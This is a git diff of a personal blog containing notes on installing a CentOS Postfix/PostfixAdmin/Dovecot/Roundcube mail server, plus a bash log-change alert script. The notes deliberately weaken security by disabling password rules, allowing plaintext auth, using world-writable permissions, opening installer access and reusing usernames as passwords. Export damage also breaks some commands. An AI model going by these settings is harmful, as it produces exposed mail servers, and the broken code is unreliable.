    Generate SSL Sign Key                  
    - -

    #######################################################**

    - -

    openssl genrsa -des3 -out ms.abc.com.key 2048 -chmod 600 ms.abc.com.key -openssl req -new -key ms.abc.com..key -out ms.abc.com..csr -openssl x509 -req -days 3650 -in ms.abc.com..csr -signkey ms.abc.com.key -out ms.abc.com..crt -openssl rsa -in ms.abc.com..key -out ms.abc.com..key.nopass -mv -f ms.abc.com..key.nopass ms.abc.com..key -openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650 -chmod 600 ms.abc.com.key -chmod 600 cakey.pem -mkdir /etc/ssl/private -mv ms.abc.com.key /etc/ssl/private/ -mv ms.abc.com.crt /etc/ssl/certs/ -mv cakey.pem /etc/ssl/private/ -mv cacert.pem /etc/ssl/certs/

    - -

    **#######################################################

    - -
    Add TLS Settings to /etc/postfix/main.cf
    - -

    #######################################################**

    - -

    postconf -e ‘smtpd_tls_auth_only = no’ -postconf -e ‘smtp_use_tls = yes’ -postconf -e ‘smtpd_use_tls = yes’ -postconf -e ‘smtp_tls_note_starttls_offer = yes’ -postconf -e ‘smtpd_tls_key_file = /etc/ssl/private/ms.abc.com.key’ -postconf -e ‘smtpd_tls_cert_file = /etc/ssl/certs/ms.abc.com.crt’ -postconf -e ‘smtpd_tls_CAfile = /etc/ssl/certs/cacert.pem’ -postconf -e ‘smtpd_tls_loglevel = 1’ -postconf -e ‘smtpd_tls_received_header = yes’ -postconf -e ‘smtpd_tls_session_cache_timeout = 3600s’ -postconf -e ‘tls_random_source = dev:/dev/urandom’ -postconf -e ‘myhostname = ms.abc.com’ -postconf -e ‘mydomain = abc.com ‘

    - -

    **#######################################################

    - -
    /etc/postfix/main.cf should be like this
    - -

    #######################################################**

    - -

    alias_database = hash:/etc/aliases -alias_maps = hash:/etc/aliases -broken_sasl_auth_clients = yes -command_directory = /usr/sbin -config_directory = /etc/postfix -daemon_directory = /usr/libexec/postfix -data_directory = /var/lib/postfix -debug_peer_level = 2 -home_mailbox = Maildir/ -html_directory = no -inet_interfaces = all -inet_protocols = all -mail_owner = postfix -mailbox_command = -mailq_path = /usr/bin/mailq.postfix -manpage_directory = /usr/share/man -mydestination = $myhostname, localhost.$mydomain, localhost -mydomain = abc.com -myhostname = ms.abc.com -mynetworks = 127.0.0.0/8 -newaliases_path = /usr/bin/newaliases.postfix -queue_directory = /var/spool/postfix -readme_directory = /usr/share/doc/postfix-2.6.6/README_FILES -sample_directory = /usr/share/doc/postfix-2.6.6/samples -sendmail_path = /usr/sbin/sendmail.postfix -setgid_group = postdrop -smtp_tls_note_starttls_offer = yes -smtp_use_tls = yes -smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination

    - -
    - -

    ##### POSTFIX CONFIG ##### -postconf -e ‘inet_interfaces = all’ -postconf -e ‘mynetworks = 127.0.0.0/8’ -postconf -e ‘smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination’ -postconf -e ‘mailbox_command =’

    - -

    #########SASL############## -postconf -e ‘broken_sasl_auth_clients = yes’ -postconf -e ‘smtpd_sasl_auth_enable = yes’ -postconf -e ‘smtpd_sasl_local_domain = ‘ -postconf -e ‘smtpd_sasl_path = private/auth’ -postconf -e ‘smtpd_sasl_security_options = noanonymous’ -postconf -e ‘smtpd_sasl_type = dovecot’

    - -

    ##### TLS , check the cert file location #####

    - -

    smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem -smtpd_tls_auth_only = no -smtpd_tls_cert_file = /etc/ssl/certs/ms.abc.com.crt -smtpd_tls_key_file = /etc/ssl/private/ms.abc.com.key -smtpd_tls_loglevel = 1 -smtpd_tls_received_header = yes -smtpd_tls_session_cache_timeout = 3600s -smtpd_use_tls = yes -tls_random_source = dev:/dev/urandom

    - -

    ### Virtual Mail ###

    - -

    **#######################################################################################

    - -

    Create cf files

    - -

    ####################################################################################### -**vim /etc/postfix/sql/mysql_virtual_alias_domain_catchall_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query  = SELECT goto FROM alias,alias_domain WHERE alias_domain.alias_domain = ‘%d’ and alias.address = CONCAT(‘@’, alias_domain.target_domain) AND alias.active = 1 AND alias_domain.active=‘1’

    - -
    - -

    vim /etc/postfix/sql/mysql_virtual_alias_domain_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query = SELECT goto FROM alias,alias_domain WHERE alias_domain.alias_domain = ‘%d’ and alias.address = CONCAT(‘%u’, ‘@’, alias_domain.target_domain) AND alias.active = 1 AND alias_domain.active=‘1’

    - -
    - -

    vim /etc/postfix/sql/mysql_virtual_domains_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query          = SELECT domain FROM domain WHERE domain=‘%s’ AND active = ‘1’

    - -
    - -

    vim /etc/postfix/sql/mysql_virtual_mailbox_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query           = SELECT maildir FROM mailbox WHERE username=‘%s’ AND active = ‘1’

    - -
    - -

    vim /etc/postfix/sql/mysql_virtual_alias_domain_mailbox_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query = SELECT maildir FROM mailbox,alias_domain WHERE alias_domain.alias_domain = ‘%d’ and mailbox.username = CONCAT(‘%u’, ‘@’, alias_domain.target_domain) AND mailbox.active = 1 AND alias_domain.active=‘1’

    - -
    - -

    vim /etc/postfix/sql/mysql_virtual_alias_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query = SELECT goto FROM alias WHERE address=‘%s’ AND active = ‘1’ -#expansion_limit = 100

    - -
    - -

    vim /etc/postfix/sql/mysql_virtual_mailbox_limit_maps.cf

    - -

    user = postfixadmin -password = postfixadmin -hosts = localhost -dbname = mail -query = SELECT quota FROM mailbox WHERE username=‘%s’ AND active = ‘1’

    - -
    - -

    postconf -e ‘virtual_alias_maps = proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_maps.cf,   proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_domain_maps.cf,   proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_domain_catchall_maps.cf’ -postconf -e ‘virtual_gid_maps = static:5000’ -postconf -e ‘virtual_mailbox_base = /home/vmail’ -postconf -e ‘virtual_mailbox_domains = proxy:mysql:/etc/postfix/sql/mysql_virtual_domains_maps.cf’ -postconf -e ‘virtual_mailbox_maps = proxy:mysql:/etc/postfix/sql/mysql_virtual_mailbox_maps.cf,   proxy:mysql:/etc/postfix/sql/mysql_virtual_alias_domain_mailbox_maps.cf’ -postconf -e ‘virtual_transport = virtual’ -postconf -e ‘virtual_uid_maps = static:5000’

    - -

    Others

    - -

    postconf -e ‘unknown_local_recipient_reject_code = 550’

    - -
    - -

    **#######################################################################################

    - -

    add vmail user/group for virtual mail    

    - -

    uid should be the same with main.cf      

    - -

    #######################################################################################**

    - -

    groupadd -g 5000 vmail -useradd -g vmail -u 5000 vmail -d /home/vmail -chown vmail:vmail /home/vmail

    - -
    - -

    ############### MYSQL ###############

    - -

    mysql -u root -p -create database mail; -create user ‘postfixadmin’@‘localhost’ identified by ‘postfixadmin’; -grant all privileges on mail.* to ‘postfixadmin’@‘localhost’; -flush privileges; -quit

    - -
    - -

    **#########Postfixadmin ################### -**

    - -

    wget http://nchc.dl.sourceforge.net/project/postfixadmin/postfixadmin/postfixadmin-2.93/postfixadmin-2.93.tar.gz -tar zxvf postfixadmin-2.93.tar.gz -mv postfixadmin-2.93 postfixadmin -mv postfixadmin /var/www/html/ -cd /var/www/html/postfixadmin -vim config.inc.php -$CONF[‘configured’] = false;  –> $CONF[‘configured’] = true; -$CONF[‘database_type’] = ‘mysqli’; -$CONF[‘database_host’] = ‘localhost’; -$CONF[‘database_user’] = ‘postfix’;  –> $CONF[‘database_user’] = ‘postfixadmin’; -$CONF[‘database_password’] = ‘postfixadmin’; -$CONF[‘database_name’] = ‘postfix’; –> $CONF[‘database_name’] = ‘mail’;

    - -

    open http://ip_address/postfixadmin/setup.php -Error: Smarty template compile directory templates_c is not writable. -Please make it writable. -If you are using SELinux or AppArmor, you might need to adjust their setup to allow write access.

    - -

    chmod a+rw -R /var/www/html/postfixadmin/templates_c -open http://ip_address/postfixadmin/setup.php

    - -

    change setup password (two digit , two letters , will fix later) and new password will be generated

    - -

    vim /var/www/html/postfixadmin/config.ini.php -Replace -$CONF[‘setup_password’] = ‘changeme’; -to -$CONF[‘setup_password’] = ‘0287c360cbc407f4e18e520651a1c1b8:3a8a82f252f00a8593c0bfc9fa006a98deee2b32’;

    - -

    create a new mail master

    - -

    go http://ip_address/postfixadmin/login.php using the account last step

    - -

    change the password limitation

    - -

    vim /var/www/html/postfixadmin/config.inc.php

    - -

    $CONF[‘password_validation’] = array( -#    ‘/regular expression/’ => ‘$PALANG key (optional: + parameter)‘, -‘/.{5}/’                => ‘password_too_short 5’,      # minimum length 5 characters -#‘/([a-zA-Z].){3}/’     => ‘password_no_characters 3’,  # must contain at least 3 characters –> -‘/([a-zA-Z].){0}/’        => ‘password_no_characters 3’,  # must contain at least 0 characters –> -#‘/([0-9].){2}/’       => ‘password_no_digits 2’,      # must contain at least 2 digits  –> -‘/([0-9].){0}/’        => ‘password_no_digits 2’,      # must contain at least 0 digits  –> -);

    - -
    - -

    **######################################################

    - -

    create a new virtual domain and virtual user

    - -

    check if the records exists

    - -

    ######################################################** -mysql -u root -p -use mail; -show tables; -select * from domain; -select * from alias; -exit

    - -

    in /var/log/maillog , there should be a welcome messages from postmaster to the acouunt you just created

    - -

    Jan 13 13:37:25 mssop postfix/qmgr[2396]: 632D740A18: from=<postmaster@abc.com.tw>, size=489, nrcpt=1 (queue active) -Jan 13 13:37:25 mssop postfix/smtpd[2965]: disconnect from localhost[::1] -Jan 13 13:37:25 mssop postfix/virtual[2975]: 632D740A18: to=<mc@abc-taf.com>, relay=virtual, delay=0.16, delays=0.06/0.1/0/0.01, dsn=2.0.0, status=sent (delivered to maildir) -Jan 13 13:37:25 mssop postfix/qmgr[2396]: 632D740A18: removed

    - -
    - -

    ####################################################### -######       Dovecot Config                    ######## -#######################################################

    - -

    vim /etc/dovecot/conf.d/10-ssl.conf

    - -

    ssl_cert = </etc/pki/dovecot/certs/dovecot.pem -ssl_key = </etc/pki/dovecot/private/dovecot.pem

    - -

    vim /etc/dovecot/conf.d/10-auth.conf

    - -

    disable_plaintext_auth = no -auth_mechanisms = plain login -!include auth-sql.conf.ext

    - -

    vim /etc/dovecot/conf.d/10-mail.conf

    - -

    mail_location = maildir:/home/vmail/%d/%n -mail_privileged_group = mail -mbox_write_locks = fcntl

    - -

    vim /etc/dovecot/conf.d/10-master.conf

    - -

    service imap-login { -inet_listener imap { -} -inet_listener imaps { -} -}

    - -

    service pop3-login { -inet_listener pop3 { -} -inet_listener pop3s { -} -}

    - -

    service lmtp { -unix_listener lmtp { -}

    - -

    }

    - -

    service imap {

    - -

    }

    - -

    service pop3 { -}

    - -

    service auth { -unix_listener auth-userdb { -}

    - -

    unix_listener /var/spool/postfix/private/auth { -mode = 0666 -user = postfix -group = postfix -} -}

    - -

    service auth-worker { -}

    - -

    service dict { -unix_listener dict { -} -}

    - -

    vim  /etc/dovecot/conf.d/auth-sql.conf.ext

    - -

    passdb { -driver = sql -args = /etc/dovecot/dovecot-sql.conf.ext -}

    - -

    userdb { -driver = static -args = uid=vmail gid=vmail home=/home/vmail/%u -}

    - -

    **###########################################################################

    - -
    Create the dovecot-sql.conf.ext file for support dovecot-mysql
    - -

    ###########################################################################**

    - -

    vim  /etc/dovecot/dovecot-sql.conf.ext

    - -

    driver = mysql -connect = host=127.0.0.1 dbname=mail user=postfixadmin password=postfixadmin -default_pass_scheme = MD5-CRYPT -password_query = SELECT username AS user,password FROM mailbox WHERE username = ‘%u’ AND active=‘1’ -user_query = SELECT maildir, 5000 AS uid, 5000 AS gid FROM mailbox WHERE username = ‘%u’ AND active=‘1’ -user_query = SELECT CONCAT(‘/home/vmail/’, maildir) AS home, 5000 AS uid, 5000 AS gid, CONCAT(’*:bytes=‘, quota) AS quota_rule FROM mailbox WHERE username = ‘%u’ AND active=‘1’ -user_query = SELECT maildir, 5000 AS uid, 5000 AS gid, CONCAT(‘dict:storage=‘,floor(quota/1000),’ proxy::quota’) as quota FROM mailbox WHERE username = ‘%u’ AND active=‘1’

    - -
    - -

    ############################################################################ -########## install roundcubemail           ################################# -############################################################################

    - -

    yum install roundcubemail -vim /etc/httpd/conf.d/roundcubemail.conf

    - -

    Comment First two Directory Settings for install

    - -

    Alias /roundcubemail /usr/share/roundcubemail -change to -Alias /mail    /usr/share/roundcubemail

    - -

    <Directory /usr/share/roundcubemail/> -<IfModule mod_authz_core.c>

    - -

    Apache 2.4

    - -

    #Require local -</IfModule> -<IfModule !mod_authz_core.c>

    - -

    Apache 2.2

    - -

    #Order Deny,Allow -#Deny from all -#Allow from 127.0.0.1 -#Allow from ::1 -</IfModule> -</Directory>

    - -

    Define who can access the installer

    - -

    keep this secured once configured

    - -

    <Directory /usr/share/roundcubemail/installer/> -<IfModule mod_authz_core.c>

    - -

    Apache 2.4

    - -

    #Require local -</IfModule> -<IfModule !mod_authz_core.c>

    - -

    Apache 2.2

    - -

    #Order Deny,Allow -#Deny from all -#Allow from 127.0.0.1 -#Allow from ::1 -</IfModule> -</Directory>

    - -
    create a database for roundcubemail
    - -

    mysql -u root -p -create database rcmail; -create user ‘rcmail’@‘localhost’ identified by ‘rcmailpassword’; -grant all privileges on rcmail.* to ‘rcmail’@‘localhost’; -flush privileges;

    - -

    service httpd reload

    - -

    open http://ip_address/mail/installer/ -check if any errors , if not , next , if so , fix it ! -After Next , modify the database setting with last step you create -modify the SMTP Server with localhost , check “Use the current IMAP username and password for SMTP authentication” -language : zh_TW ( not sure if this works or not ) -press create config file -copy the file to /etc/roundcubemail/config.inc.php -press continue -check if any errors -initialize database -test SMTP -with the first account/password you create in the postfixadmin section

    - -

    test IMAP

    - -

    mv /usr/share/roundcubemail/installer /usr/share/roundcubemail/installer.bak

    - -

    login to roundcubemail -open https://ip_address/mail/ -login with the account/password you create in the postfixadmin section -like username@domain.name -and there`s one mail waiting for you ~

    - -

    Cong ! Everything works fine now ! ( it should be …..)

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos-linux-e5-ba-95-e4-b8-8b-ef-bc-8c-e5-81-b5-e6-b8-ac-e6-aa-94-e6-a1-88-e5-85-a7-e5-ae-b9-e7-95-b0-e5-8b-95-e7-99-bc-e4-bf-a1-e9-80-9a-e7-9f-a5/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos-linux-e5-ba-95-e4-b8-8b-ef-bc-8c-e5-81-b5-e6-b8-ac-e6-aa-94-e6-a1-88-e5-85-a7-e5-ae-b9-e7-95-b0-e5-8b-95-e7-99-bc-e4-bf-a1-e9-80-9a-e7-9f-a5/index.html deleted file mode 100644 index 1438b545..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos-linux-e5-ba-95-e4-b8-8b-ef-bc-8c-e5-81-b5-e6-b8-ac-e6-aa-94-e6-a1-88-e5-85-a7-e5-ae-b9-e7-95-b0-e5-8b-95-e7-99-bc-e4-bf-a1-e9-80-9a-e7-9f-a5/index.html +++ /dev/null @@ -1,639 +0,0 @@ - - - - - - - - - - [筆記] CentOS Linux 底下,偵測檔案內容異動 發信通知 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS Linux 底下,偵測檔案內容異動 發信通知

    -
    - - - 2017-01-12 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近在玩很久以前弄好的Smokeping裡面的Notify功能,希望能在VPN斷線的時候,第一時間得到訊息

    - -

    雖然設定好了,但感覺Smokeping在送出警告信件的速度有點慢

    - -

    所以另外找了個方法去檢查 smokeping.log,當檔案內容有異動時,就會發信通知,然後放到crontab裡,每分鐘檢查一次

    - -

    程式內容如下

    - -

      -> #!/usr/bin/env bash -> -> # -> -> # Provides      : Check if a file is changed -> -> # -> -> # Limitations   : none -> -> # Options       : none -> -> # Requirements  : bash, md5sum, cut -> -> # -> -> # Modified      : 11|07|2014 -> -> # Author        : ItsMe -> -> # Reply to      : n/a in public -> -> # -> -> # Editor        : joe -> -> # -> -> ##################################### -> -> # -> -> # OK - lets work -> -> # -> -> -> # what file do we want to monitor? -> -> # I did not include commandline options -> -> # but its easy to catch a command line option -> -> # and replace the defaul given here -> -> file=/var/log/smokeping.log #設定要監控的目標檔案 -> -> -> # path to file’s saved md5sum -> -> # I did not spend much effort in naming this file -> -> # if you ahve to test multiple files -> -> # so just use a commandline option and use the given -> -> # file name like: filename=$(basename “$file”) -> -> fingerprintfile=/tmp/.bla.md5savefile #md5計算結果暫存檔 -> -> -> # does the file exist? #檢查目標檔案是否存在 -> -> if [ ! -f $file ] -> -> then -> -> echo “ERROR: $file does not exist - aborting” -> -> exit 1 -> -> fi -> -> # create the md5sum from the file to check #計算目標檔案的md5 checksum -> -> filemd5=md5sum $file | cut -d " " -f1 -> -> -> # check the md5 and -> -> # show an error when we check an empty file #確認不是空檔案 -> -> if [ -z $filemd5 ] -> -> then -> -> echo “The file is empty - aborting” -> -> exit 1 -> -> else -> -> # pass silent -> -> : -> -> fi -> -> -> # do we have allready an saved fingerprint of this file? -> -> if [ -f $fingerprintfile ] -> -> then -> -> # yup - get the saved md5 -> -> savedmd5=cat $fingerprintfile -> -> -> # check again if its empty -> -> if [ -z $savedmd5 ] -> -> then -> -> echo “The file is empty - aborting” -> -> exit 1 -> -> fi -> -> -> #compare the saved md5 with the one we have now #比對暫存檔和目標檔案的check sum , 如果不相符就寄出信件並附上最後一行 -> -> if [ “$savedmd5” = “$filemd5” ] -> -> then -> -> # pass silent -> -> : -> -> else -> -> # echo “File has been changed” -> -> tail -1 /var/log/smokeping.log |mail -s ‘Alert’ -v chchang@[192.168.10.240] -> -> -> # this does an beep on your pc speaker (probably) -> -> # you get this character when you do: -> -> # CTRL+V CTRL+G -> -> fi -> -> -> # do we have allready an saved fingerprint of this file? -> -> if [ -f $fingerprintfile ] -> -> then -> -> # yup - get the saved md5 -> -> savedmd5=cat $fingerprintfile -> -> -> # check again if its empty -> -> if [ -z $savedmd5 ] -> -> then -> -> echo “The file is empty - aborting” -> -> exit 1 -> -> fi -> -> -> #compare the saved md5 with the one we have now -> -> if [ “$savedmd5” = “$filemd5” ] -> -> then -> -> # pass silent -> -> : -> -> else -> -> # echo “File has been changed” -> -> tail -1 /var/log/smokeping.log |mail -s ‘Alert’ -v chchang@[192.168.10.240] -> -> -> # this does an beep on your pc speaker (probably) -> -> # you get this character when you do: -> -> # CTRL+V CTRL+G -> -> # this is a bit creepy so you can use the ‘beep’ command -> -> # of your distro -> -> # or run some command you want to -> -> echo -> -> fi -> -> -> fi -> -> -> # save the current md5 -> -> # sure you don’t have to do this when the file hasn’t changed -> -> # but you know I’m lazy and it works… -> -> echo $filemd5 > $fingerprintfile - 

    - -

    編輯好之後,就放到crontab去

    - -

    不過後來覺得有點脫褲子放屁了

    - -

    實際的狀況會是這樣,由Smokeping發出的信件,和這個偵測機制發出的信件,其實也沒差幾秒鐘

    - -

    似乎不必另外去偵測了

    - -

    2017-01-17_08-48-56

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-centos6-postfix-postfixadmin-dovecot-installation/index.html b/themes/public/article/e7-ad-86-e8-a8-98-centos6-postfix-postfixadmin-dovecot-installation/index.html deleted file mode 100644 index 40209dc5..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-centos6-postfix-postfixadmin-dovecot-installation/index.html +++ /dev/null @@ -1,1157 +0,0 @@ - - - - - - - - - - [筆記] CentOS6 / Postfix / PostfixAdmin / Dovecot /RoundCubeMail / Let`s Encrypt Installation | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS6 / Postfix / PostfixAdmin / Dovecot /RoundCubeMail / Let`s Encrypt Installation

    -
    - - - 2016-08-01 - - - - - - - - - 工作筆記 - - - - - -
    - - - - -

    原文:http://blog.csdn.net/air_penguin/article/details/47662941

    - -

     

    - -

    **LAMP

    - -

    **

    - -

    #添加 vmail 帳號,做為郵件處理用, uid 2000 必須要和後面的設定一致 -> useradd -u 2000 -d /var/vmail -m -s /sbin/nologin vmail -#安裝相關套件 -> yum -y install httpd mysql mysql-devel mysql-server php php-pecl-Fileinfo php-mcrypt php-devel php-mysql php-common php-mbstring php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc pcre pcre-devel -> -> ->  

    - -
    - -

    整合ApachePHP

    - -
    #vim /etc/httpd/conf/httpd.conf
    -
    #增加以下參數
    -> AddType application/x-httpd-php .php ` -> ->
    `PHPIniDir `"/etc/php.ini"
    -
    #修改以下參數 p.s 有疑問,為何apache 要改用 vmail 來啟動?
    - >
    `DirectoryIndex index.php index.html index.html.var`
    -> ->
    `User vmail`
    -> ->
    `Group vmail
    -> 
    -> 
    ->     `
    - 測試 PHP - - #vim /var/www/html/pfa/1.php - > <?php -> -> -> phpinfo(); -> -> -> ?> - 開啟 http://IP_ADDR/1.php 看看是不是可以正常顯示PHP環境 - - * * * - - ## **設定 postfixadmin** - - **下載 postfixadmin** - >
    wget http://nchc.dl.sourceforge.net/project/postfixadmin/postfixadmin/postfixadmin-2.92/postfixadmin-2.92.tar.gz
    - **解壓縮、更名、移動到httpd 路徑** - >
    tar xvf postfixadmin-2.92.tar.gz
    -> 
    -> 
    ->     mv postfixadmin-2.92 pfa
    -> 
    -> 
    ->     mv pfa /var/www/html/
    - **安裝 dovecot套件** - > yum install -y  dovecot dovecot-devel dovecot-mysql - **修改 postfixadmin 設定** - - #vim /var/www/html/pfa/config.inc.php - > $CONF['configured'] = true; -> -> $CONF['database_type'] = 'mysql'; -> -> $CONF['database_host'] = 'localhost'; -> -> $CONF['database_user'] = 'postfix'; -> -> $CONF['database_password'] = 'postfix'; -> -> $CONF['database_name'] = 'postfix'; -> -> $CONF['admin_email'] = 'admin@email.com'; -> -> -> **##底下這行原本是用 CRAM-MD5,但是一開始沒有改他,結果就造成錯誤** -> -> -> **#預設是$CONF['encrypt'] = 'md5crypt'; 就保留預設吧** -> -> -> $CONF['encrypt'] = 'md5crypt'; -> -> #$CONF['encrypt'] = 'dovecot:CRAM-MD5'; -> -> #底下修改密碼原則 ,原本有一些密碼原則設定,為了方便,都先取消 -> -> -> $CONF['password_validation'] = array( -> -> #    '/regular expression/' => '$PALANG key (optional: + parameter)', -> -> '/.{0}/'                => 'password_too_short 5',      # minimum length 5 characters -> -> '/([a-zA-Z].*){0}/'     => 'password_no_characters 3',  # must contain at least 3 characters -> -> '/([0-9].*){0}/'        => 'password_no_digits 2',      # must contain at least 2 digits -> -> ); -> -> -> #系統預設信箱,看要不要改一改 -> -> -> $CONF['default_aliases'] = array ( -> -> 'abuse' => 'abuse@change-this-to-your.domain.tld', -> -> 'hostmaster' => 'hostmaster@change-this-to-your.domain.tld', -> -> 'postmaster' => 'postmaster@change-this-to-your.domain.tld', -> -> 'webmaster' => 'webmaster@change-this-to-your.domain.tld' -> -> ); -> -> -> // Default Domain Values -> -> // Specify your default values below. Quota in MB. -> -> $CONF['aliases'] = '0'; -> -> $CONF['mailboxes'] = '0'; -> -> $CONF['maxquota'] = '0'; -> -> $CONF['domain_quota_default'] = '40960'; -> ->
    
    -> 
    ->     **在MySQL中建立帳號並設定權限給 postfixadmin使用**
    -> 
    -> 
    ->     mysql -u root -p
    -> 
    ->     `grant all on postfix.* to 'postfix'@'localhost' identified by 'postfix';`
    -> ->
    `flush privileges;
    -> 
    ->     quit;
    -> 
    ->     `
    - **測試登入 mysql** - > mysql -u postfix -ppostfix -> -> -> use postfix; -> -> -> show tables; -> -> -> quit; -
    #**修改所有者和所有组**
    - >
    `chown -R vmail.vmail /var/www/html/pfa`
    -> ->
    `chown -R vmail.vmail /var/lib/php/session/`
    - 登入postfixadmin設定,參考之前寫的文章中,postfiadmin 設定的部分,主要就是修改 setup password - - [http://wp.cowbay.org/2016/01/27/%e7%ad%86%e8%a8%98-centos-6-6-iredmail-0-9-4-%e5%ae%89%e8%a3%9d%e7%ad%86%e8%a8%98/](http://wp.cowbay.org/2016/01/27/%e7%ad%86%e8%a8%98-centos-6-6-iredmail-0-9-4-%e5%ae%89%e8%a3%9d%e7%ad%86%e8%a8%98/) - - 在完成設定後,會取得setup_password 的hash值,像是這樣 -
    $CONF`[`'setup_password'`] = `'fd16d423a537fa766a501d089823c8be:a23d10bad95c883c98c817ea37afaeae1d186624'`;
    -    修改 config.inc.php 把得到的值替換掉原本的設定
    -    開啟 http://IP_ADDR/pfa/login.php
    -    用剛剛建立的管理者帳號、密碼登入,並新增網域、帳號 測試看看
    -    `
    - -
    * * *
    -
    -## `<span lang="EN-US"> **修改 Postfix** </span>`
    -
    -#vim /etc/postfix/main.cf
    -> #基本設定
    -
    - -
    -
    myhostname = mail.abc.com
    -
    -
    -mydomain = abc.com
    -
    -
    -myorigin = $mydomain
    -
    -
    -inet_interfaces = all
    -
    -
    -mynetworks_style = host
    -
    -
    -mynetworks = 192.168.10.0/24, 127.0.0.0/8
    -
    -
    -#Virtual Domain
    -
    -
    -virtual_mailbox_domains = proxy:mysql:/etc/postfix/mysql_virtual_domains_maps.cf
    -
    -
    -virtual_alias_maps = proxy:mysql:/etc/postfix/mysql_virtual_alias_maps.cf
    -
    -
    -virtual_mailbox_maps = proxy:mysql:/etc/postfix/mysql_virtual_mailbox_maps.cf
    -
    -
    -# Additional for quota support
    -
    -
    -virtual_create_maildirsize = yes
    -
    -
    -virtual_mailbox_extended = yes
    -
    -
    -virtual_mailbox_limit_maps = mysql:/etc/postfix/mysql_virtual_mailbox_limit_maps.cf
    -
    -
    -virtual_mailbox_limit_override = yes
    -
    -
    -virtual_maildir_limit_message = Sorry, this user has exceeded their disk space quota, please try again later.
    -
    -
    -virtual_overquota_bounce = yes
    -
    -
    -#Specify the user/group that owns the mail folders. I'm not sure if this is strictly necessary when using Dovecot's LDA.
    -
    -
    -virtual_uid_maps = static:2000
    -
    -
    -virtual_gid_maps = static:2000
    -
    -
    -#Specifies which tables proxymap can read: http://www.postfix.org/postconf.5.html#proxy_read_maps
    -
    -
    -proxy_read_maps = $local_recipient_maps $mydestination $virtual_alias_maps $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps $relocated_maps $transport_maps $mynetworks $virtual_mailbox_limit_maps
    -
    -
    -#SASL SUPPORT FOR CLIENTS
    -
    -
    -# Turns on sasl authorization
    -
    -
    -smtpd_sasl_auth_enable = yes
    -
    -
    -#Use dovecot for authentication
    -
    -
    -smtpd_sasl_type = dovecot
    -
    -
    -# Path to UNIX socket for SASL
    -
    -
    -smtpd_sasl_path = /var/run/dovecot/auth-client
    -
    -
    -#Disable anonymous login. We don't want to run an open relay for spammers.
    -
    -
    -smtpd_sasl_security_options = noanonymous
    -
    -
    -#Adds support for email software that doesn't follow RFC 4954.
    -
    -
    -#This includes most versions of Microsoft Outlook before 2007.
    -
    -
    -broken_sasl_auth_clients = yes
    -
    -
    -smtpd_recipient_restrictions =  permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination
    -
    -
    -# TRANSPORT MAP
    -
    -
    -virtual_transport = dovecot
    -
    -
    -dovecot_destination_recipient_limit = 1
    -**修改 master.cf**
    -
    -
    - -
    **#vim /etc/postfix/master.cf**
    -
    -**#注意flags前面要空兩個空白**
    -
    -dovecot   unix  -       n       n       -       -       pipe
    -
    -flags=DRhu user=vmail:vmail argv=/usr/libexec/dovecot/dovecot-lda -f ${sender} -d ${recipient}
    -
    -`<span lang="EN-US">
    -#**建立Virtual Mail 的script**
    -#**vim /etc/postfix/mysql_virtual_domains_maps.cf**
    -</span>`
    -> `<span lang="EN-US">
    -
    - -
    -
    user = postfix
    -
    -password = postfix
    -
    -hosts = localhost
    -
    -dbname = postfix
    -
    -query = SELECT domain FROM domain WHERE domain='%s' AND active = '1'
    -
    -#optional query to use when relaying for backup MX
    -
    -#query = SELECT domain FROM domain WHERE domain='%s' AND backupmx = '0' AND active = '1'
    -
    -</span>`
    -&nbsp;
    -
    -
    - -
    # **vim /etc/postfix/mysql_virtual_alias_maps.cf**
    -> user = postfix
    -
    - -
    -
    password = postfix
    -
    -hosts = localhost
    -
    -dbname = postfix
    -
    -query = SELECT goto FROM alias WHERE address='%s' AND active = '1'
    -#**vim /etc/postfix/mysql_virtual_mailbox_maps.cf**
    -> user = postfix
    -
    -password = postfix
    -
    -hosts = localhost
    -
    -dbname = postfix
    -
    -query = SELECT CONCAT(domain,'/',maildir) FROM mailbox WHERE username='%s' AND active = '1'
    -#**vim /etc/postfix/mysql_virtual_mailbox_limit_maps.cf**
    -> user = postfix
    -
    -password = postfix
    -
    -hosts = localhost
    -
